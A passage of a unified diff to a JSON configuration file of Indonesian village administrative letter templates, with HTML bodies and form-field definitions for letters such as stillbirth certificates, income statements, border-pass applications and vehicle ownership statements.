\u00a0<\/td>\r\n10.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut di atas adalah benar-benar warga kami yang bertempat tinggal di [AlamaT] [Sebutan_desa] [NaMa_desa] dan tercatat dengan No. KK : [No_kK] Kepala Keluarga : [Kepala_kK].<\/p>\r\n


Surat Keterangan ini dibuat untuk Keperluan : [Form_keperluaN]<\/strong>

<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, "data": [ - "1" + "1", + "3" ], "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" + "1" ], "kk_level": [ "1", @@ -838,27 +1275,63 @@ "10", "11" ], - "judul": "Letak Tanah", - "label": "ATAS TANAH YANG TERLETAK", + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", "info": "", - "sebagai": 0, - "hubungan": "" - }, - "batas": { - "sumber": 0, + "hubungan": null + } + }, + "kode_isian": [ + { + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan Lahir Mati", + "url_surat": "surat-keterangan-lahir-mati", + "kode_surat": "S-22", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa seorang ibu :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Telah lahir bayi dalam keadaan mati, setelah dikandungannya selama [Form_lama_kandungaN] bulan:<\/p>\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPada hari, tanggal<\/td>\r\n:<\/td>\r\n[Form_harI], [Form_tanggaL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nDi<\/td>\r\n:<\/td>\r\n[Form_tempat_matI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Surat keterangan ini dibuat berdasarkan keterangan pelapor:<\/p>\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[Form_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nHubungan dgn yang lahir mati<\/td>\r\n:<\/td>\r\n[Form_hubungaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\u00a0<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, "data": [ "1" ], "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ "1", "2", "3", @@ -867,65 +1340,36 @@ "6", "7", "8", - "9", - "10", - "11" - ], - "judul": "Batas Tanah", - "label": "BATAS-BATAS", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "asal": { - "sumber": 0, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", "9" ], "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], - "judul": "Asal Tanah", - "label": "TANAH DI PEROLEH", + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", "info": "", - "sebagai": 0, - "hubungan": "" + "hubungan": null }, - "Saksi_I": { - "sumber": 1, + "identitias_pelapor": { + "sumber": "1", "data": [ "1", - "3" + "2" ], "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ "1", "2", "3", @@ -934,86 +1378,59 @@ "6", "7", "8", - "9", - "10", - "11" - ], - "judul": "Saksi I", - "label": "Saksi 1", - "info": "", - "sebagai": 0, - "hubungan": "" - }, - "Saksi_II": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", "9" ], "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], - "judul": "Saksi II", - "label": "Saksi 2", + "judul": "Identitas Pelapor", + "label": "Identitas Pelapor", "info": "", - "sebagai": 0, "hubungan": "" } }, "kode_isian": [ { - "kategori": "letak", "tipe": "text", - "kode": "[form_jalan]", - "nama": "Jalan", - "deskripsi": "Jalan", + "kode": "[form_hari]", + "nama": "Hari", + "deskripsi": "Hari Mati", "required": "1", - "atribut": null, + "atribut": "class=\"hari\" readonly", "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "2", + "label": "Hari \/ Tanggal Mati", "kaitkan_kode": "" }, { - "kategori": "letak", - "tipe": "text", - "kode": "[form_rt_rw]", - "nama": "RT \/ RW", - "deskripsi": "RT \/ RW", + "tipe": "date", + "kode": "[form_tanggal]", + "nama": "Tanggal", + "deskripsi": "Tanggal Mati", "required": "1", - "atribut": null, + "atribut": "class=\"datepicker data_hari\"", "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "3", + "label": "Hari \/ Tanggal Mati", "kaitkan_kode": "" }, { - "kategori": "letak", "tipe": "text", - "kode": "[form_desa_kelurahan]", - "nama": "Desa \/ Kelurahan", - "deskripsi": "Desa \/ Kelurahan", + "kode": "[form_tempat_mati]", + "nama": "Tempat Mati", + "deskripsi": "Tempat Mati", "required": "1", "atribut": null, "pilihan": null, @@ -1023,185 +1440,30 @@ "kaitkan_kode": "" }, { - "kategori": "letak", - "tipe": "text", - "kode": "[form_kecamatan]", - "nama": "Kecamatan", - "deskripsi": "Kecamatan", + "tipe": "number", + "kode": "[form_lama_kandungan]", + "nama": "Lama Kandungan", + "deskripsi": "Lama di Kandungan (Bulan)", "required": "1", - "atribut": null, + "atribut": "min=\"1\"", "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "3", + "label": "Lama di Kandungan (Bulan)", "kaitkan_kode": "" }, { - "kategori": "letak", - "tipe": "text", - "kode": "[form_kabupaten_kota]", - "nama": "Kabupaten \/ Kota", - "deskripsi": "Kabupaten \/ Kota", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "letak", - "tipe": "text", - "kode": "[form_nib]", - "nama": "NIB", - "deskripsi": "NIB", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "letak", - "tipe": "text", - "kode": "[form_luas_tanah_m2]", - "nama": "Luas Tanah (m2)", - "deskripsi": "Luas Tanah (m2)", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "letak", - "tipe": "text", - "kode": "[form_status_tanah]", - "nama": "Status Tanah", - "deskripsi": "Status Tanah", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "letak", - "tipe": "text", - "kode": "[form_dipergunakan]", - "nama": "Dipergunakan", - "deskripsi": "Dipergunakan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "batas", - "tipe": "text", - "kode": "[form_batas_sebelah_utara]", - "nama": "Batas Sebelah Utara", - "deskripsi": "Batas Sebelah Utara", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "batas", - "tipe": "text", - "kode": "[form_batas_sebelah_timur]", - "nama": "Batas Sebelah Timur", - "deskripsi": "Batas Sebelah Timur", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "batas", - "tipe": "text", - "kode": "[form_batas_sebelah_selatan]", - "nama": "Batas Sebelah Selatan", - "deskripsi": "Batas Sebelah Selatan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "batas", - "tipe": "text", - "kode": "[form_batas_sebelah_barat]", - "nama": "Batas Sebelah Barat", - "deskripsi": "Batas Sebelah Barat", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "asal", - "tipe": "text", - "kode": "[form_tanah_diperoleh_dari_]", - "nama": "Tanah Diperoleh Dari ", - "deskripsi": "Tanah Diperoleh Dari ", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "asal", - "tipe": "text", - "kode": "[form_diperoleh_sejak_tahun]", - "nama": "Diperoleh Sejak Tahun", - "deskripsi": "Sejak Tahun", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "asal", + "kategori": "identitias_pelapor", "tipe": "text", - "kode": "[form_dengan_jalan]", - "nama": "Dengan Jalan", - "deskripsi": "Dengan Jalan", + "kode": "[form_hubungan]", + "nama": "Hubungan", + "deskripsi": "Hubungan Dengan Yang Lahir Mati", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "", + "label": "Hubungan Dengan Yang Lahir Mati", "kaitkan_kode": "" } ], @@ -1215,32 +1477,29 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Penghasilan Ibu", - "url_surat": "surat-keterangan-penghasilan-ibu", - "kode_surat": "S-45", + "nama": "Pengantar Permohonan Penerbitan Buku Pas Lintas", + "url_surat": "surat-pengantar-permohonan-penerbitan-buku-pas-lintas", + "kode_surat": "S-43", "lampiran": null, "kunci": false, "favorit": false, "jenis": "3", - "mandiri": false, + "mandiri": true, "masa_berlaku": 1, "satuan_masa_berlaku": "M", "qr_code": false, "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NaMa_ibu]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[NiK_ibu]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL_ibu]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[JeNis_kelamin_ibu]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma_ibu]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlAmat_ibu] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang yang tersebut di atas adalah benar-benar warga kami yang bertempat tinggal di [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten] dan tercatat dalam No. KK : [No_kK] dengan NIK [NiK_ibu] Kepala Keluarga : [Kepala_kK] dan menurut sepengetahuan kami memang benar berpenghasilan rata-rata [Form_jumlah_penghasilan_ibu] \/ Perbulan.

<\/p>\r\n

Surat Keterangan ini dibuat atas permintaan yang bersangkutan untuk keperluan anaknya untuk [Form_keperluaN] di [Form_nama_sekolaH]<\/strong> <\/strong>atas nama :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma] <\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_sedanG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Kode_suraT]\/[Nomer_suraT]\/437.103.09\/[TahuN]

<\/p>\r\n

Yang bertanda tangan di bawah ini menerangkan bahwa:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNomor Induk Kependudukan (NIK)<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNama Lengkap Pemohon<\/td>\r\n:<\/td>\r\n[NAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nTempat<\/td>\r\n:<\/td>\r\n[TempatlahiR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nTanggal Lahir<\/td>\r\n:<\/td>\r\n[TanggallahiR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\na.<\/td>\r\n:<\/td>\r\n[Sebutan_desA] [Nama_desA] : [Kode_desA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0 \u00a0 \u00a0<\/td>\r\nb.<\/td>\r\n:<\/td>\r\n[Sebutan_kecamataN] [Nama_kecamataN] : [Kode_kecamataN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nStatus Perkawinan<\/td>\r\n:<\/td>\r\n[Status_kawiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nNomor Kartu Keluarga<\/td>\r\n:<\/td>\r\n[No_kK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nNama Kepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nPengikut \/ Anggota Keluarga **)<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Pengikut_suraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\r\n

Surat permohonan ini dipergunakan untuk pengurusan penerbitan Buku Pas Lintas Batas.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Mengetahui :\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
[Sebutan_camaT] [Nama_kecamataN]<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[Nama_kepala_camaT]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
[Nip_kepala_camaT]<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Surat Pengantar ini rangkap 3 (tiga) :
<\/span>Lembar 1 : untuk Kantor Imigrasi di Pos Lintas Batas;
Lembar 2 : untuk Arsip Kecamatan;<\/span>
Lembar 3 : untuk Arsip Desa\/Kelurahan
*) diisi oleh petugas<\/strong>
**) Hanya untuk anak dibawah 18 tahun atau belum memilki KTP dan terdaftar dalam Kartu Keluarga (KK) Pemohon (Pemohon sebagai orang tua atau wali)<\/strong>
<\/span>

<\/div>", + "template_desa": null, "form_isian": { "individu": { - "sumber": 1, "data": [ "1" ], "sex": "", "status_dasar": [ - "1" - ], - "kk_level": [ "1", "2", "3", @@ -1249,73 +1508,36 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ] } }, - "kode_isian": [ - { - "tipe": "text", - "kode": "[form_jumlah_penghasilan_ibu]", - "nama": "Jumlah Penghasilan Ibu", - "deskripsi": "Isi Jumlah Penghasilan Ayah Perbulan", - "required": "0", - "atribut": "class=\" rupiah\"", - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "", - "kaitkan_kode": "" - }, - { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Isi Keperluan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_nama_sekolah]", - "nama": "Nama Sekolah", - "deskripsi": "Isi Nama Sekolah", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - } - ], + "kode_isian": [], "orientasi": "Potrait", "ukuran": "F4", "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", "margin_global": "0", "footer": "1", "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" + "format_nomor": null }, { - "nama": "Keterangan Beda Identitas KIS", - "url_surat": "surat-keterangan-beda-identitas-kis", - "kode_surat": "S-38", + "nama": "Keterangan Kepemilikan Kendaraan", + "url_surat": "surat-keterangan-kepemilikan-kendaraan", + "kode_surat": "S-48", "lampiran": null, "kunci": false, "favorit": false, @@ -1327,7 +1549,8 @@ "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

[JUdul_surat]<\/span><\/h3>\r\n

Nomor : [Format_nomor_suraT]


<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

[Pengikut_kiS]<\/p>\r\n

Nama tersebut di atas merupakan identitas yang tertera pada KTP dan Kartu Keluarga (KK) sedangkan pada Kartu Indonesia Sehat (KIS) tertulis :

[Pengikut_kartu_kiS]

<\/p>\r\n

Menurut pengamatan dan pengetahuan kami hingga saat dikeluarkannya surat keterangan ini bahwa yang namanya di atas merupakan orang yang satu \/ sama.<\/p>\r\n

Surat keterangan ini dibuat untuk keperluan : [Form_keperluaN]<\/strong>.<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dapat dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan bahwa berdasarkan keterangan dari :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nAlamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang tersebut adalah penduduk [Sebutan_desa] [NaMa_desa], yang mempunyai kendaraan dengan rincian sebagai berikut, sesuai BPKB :
<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\nMerk \/ Type<\/td>\r\n:<\/td>\r\n[Form_merktypE]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nTahun Pembuatan<\/td>\r\n:<\/td>\r\n[Form_tahun_pembuataN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nWarna<\/td>\r\n:<\/td>\r\n[Form_warna_kendaraaN]<\/td>\r\n<\/tr>\r\n
